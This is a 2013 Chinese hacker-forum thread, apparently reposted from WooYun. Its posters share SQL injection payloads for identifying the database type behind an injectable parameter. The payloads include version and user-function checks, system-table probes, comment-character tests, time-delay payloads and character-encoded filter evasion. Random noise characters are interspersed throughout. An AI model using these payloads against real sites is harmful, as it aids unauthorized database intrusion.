找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2011|回复: 0
打印 上一主题 下一主题

一个注射点如何最快速确认是什么类型数据库

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-11 09:54:04 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
一个注射点如何最快速确认是什么类型数据库$ `/ G5 c, l& s4 f7 {
xsser (十根阳具有长短!!) | 2013-02-05 12:36
1 x: H# s. A4 m: l/ Q% O假设这么一个注射点:/ Y" I- Q1 J. L: C* v
show.html?id=2- A1 u3 t' }" _( ?: V7 A& A
mysql:id=2 and version()>0
- j9 {6 @$ `7 ]- roracle:id=2 and '1'||'1'='111 N3 J3 b, g7 R% c* p: l
其他的欢迎补充" Q  I1 y& e) G2 M% j3 R: i
1#
1 N. f2 b; ?$ R* U  e6 kupload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 12:47; y! I, P8 {7 g; \8 |
Access:
7 f' d  ]5 Y+ T4 kaNd aSc(cHr(97))=97% A# K7 n7 S0 |/ i/ [* x" Y+ I' U$ c3 H- x
and exists(select id from MSysAccessObjects)# {5 Y6 H7 A5 r* p7 J
SQL Server:
% x$ j: V; E' x3 cand exists(select id from sysobjects)$ U, q7 ]: ~  e) n5 e* ^
and length(user)>0
" j$ L& D" b; b& wMySQL:( {9 @0 _4 A) A  B8 \" n4 j
and length(user())>0
' B. d, p# y5 L; {1 e2## Y8 x5 K6 [) _: b. N
xsser (十根阳具有长短!!) | 2013-02-05 12:48
7 C1 O+ Q  g0 B! j@upload 如果这些都不是呢…
! ]* ~/ b+ x: p2 z2 t3 Y3#
/ G) P6 U0 c: P9 cupload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:037 X: A7 ~3 A' R6 z/ _8 v8 P
@xsser 不快速的,延时注入
8 ?4 p1 E- r( ~/ x) s9 _不知道这样写对不对
9 m  `' W! B' s" \- g0 F) U* omssql:id=2 and IF(ascii(SUBSTRING('name',1,1))>0)waitfor delay'0:00:3'+ ?- R2 U/ m. {5 i% g% W- Z2 Z
mysql:id=2 and select benchmark(1e8,current_date());+ ^6 Q2 j; \. ]  F  s8 q. u( |1 `
4#
# B) W+ x2 ]  n0 yupload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:108 t7 \; D' L: v* g% O3 o- P: d9 ^
最快的貌似是看报错信息% y1 v! C; `0 l8 J
oracle error
! n/ L* w( G6 M4 T0 Kmssql error
5 z/ L. g" M: Z" ?9 j4 r- v6 ]mysql error
' F6 Y3 m! `' o5#
% I6 E: s8 k- T1 bNimda (你们都是坏银~) | 2013-02-05 13:14* [4 `8 B" x$ ^" I# x
小菜献丑来一发 Oracle:id=2 and 0<>(select count(*) from dual)  X) C; C; \: i. c6 A' q
6#
4 A' v% |1 M" u% `* qupload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:21
/ L* q4 t+ D3 w“/*”是MySQL中的注释符,返回错误说明该注入点不是MySQL,继续提交如下查询字符:' l8 C# m) u# O6 z& M* Q' R
“–”是Oracle和MSSQL支持的注释符,如果返回正常,则说明为这两种数据库类型之一。继续提交如下查询字符:
% k$ v! r* A* |“;”是子句查询标识符,Oracle不支持多行查询,因此如果返回错误,则说明很可能是Oracle数据库。. @; K0 z# K3 D  h: I3 Z& \
7#
* ?0 G$ I1 }% V6 ^( z+ t_Evil (HackEnd) | 2013-02-05 13:33
; o. I1 V% F6 C% j2 |3 X2 N  }+ M7 [PostgreSQL
8 C/ p; g) f9 S9 `( h' [2 F8#) U5 S2 N/ T2 n, [- o5 c
upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:422 o& d. m6 p8 v1 F" |' D3 i9 W
切换编码 and 1=1* m: k  x" B7 A6 A* a
oracle:
4 x8 u% a! Z  n6 V- P( W3 {CHR(97) || CHR(110) || CHR(100) || CHR(32) || CHR(49) || CHR(61) || CHR(49)$ ~. n" R, L% G
mssql:
! f+ _2 ?) K5 H8 `( {CHAR(97) + CHAR(110) + CHAR(100) + CHAR(32) + CHAR(49) + CHAR(61) + CHAR(49)
4 I% Y3 c/ L5 B, q- P6 hmysql:7 K% ~$ c" ]- B, w* a, J
CHAR(97, 110, 100, 32, 49, 61, 49)
% _) q2 V0 X: _' v9#4 _1 {& s7 S, s( r6 W. J. C
xsser (十根阳具有长短!!) | 2013-02-05 14:31
  j  p8 P0 s' d0 d& Q0 C; W( Z: m@upload 比较常见的数据库这些还是可以判断的,但是还有其他奇葩类型的呢?
. B) x0 D: t0 w9 l- S  a10#
) o7 F* e; T6 B$ [& @* lupload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 14:462 J/ C$ R0 d* i) F# E3 Y2 {
@xsser 是奇葩数据库类型的么?
7 Y& k5 H$ M& g% L' N根据注入的原理,我们可以猜想,要成功的注入,必须使得注入后的一片和谐,那么使用该类数据库特性来判断,综上所述:  h1 v3 E3 t0 J' y$ @
1.是否可以使用特定的函数来判断,该数据库特有的) _8 ~+ {7 g7 N8 d% H4 P
2.是否可以使用辅助的符号来判断,如注释符号、多语句查询符等等3 g% ?+ F' s) Y. }
3.是否可以编码查询
* p/ v  T. B# |& [9 S2 \$ z" i' a7 t4.是否显可以利用错信息, M/ D% I9 o  `2 U, y5 m5 O0 l% X
5.是否存在数据库某些特性辅助判断
% `/ @# `; ^: [: n+ Q# ^个人见解
3 C$ t9 E8 i( V3 N" d$ q11#- y! ]6 E* W& ?3 [0 ]
小胖子 (z7y壮士,来,干了这碗酒!) | 2013-02-05 14:559 T) L: Y7 x* r* k
已收藏,mssql可以直接看到错误提示的吧~
$ f+ Z4 \4 i" p5 B12#
: T5 E5 s$ T& I$ ^5 A: LPasser_by | 2013-02-05 15:09& O' c4 Y+ r6 P- U) H
曾被 @GaRY 面过我这题。。。紧张了。。后来回家sqlmap判断注射点的时候抓包看了下。。。一抓包全出来了居然。。/ Y) q- e: A! ~! B. g
from:http://zone.wooyun.org/content/260
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表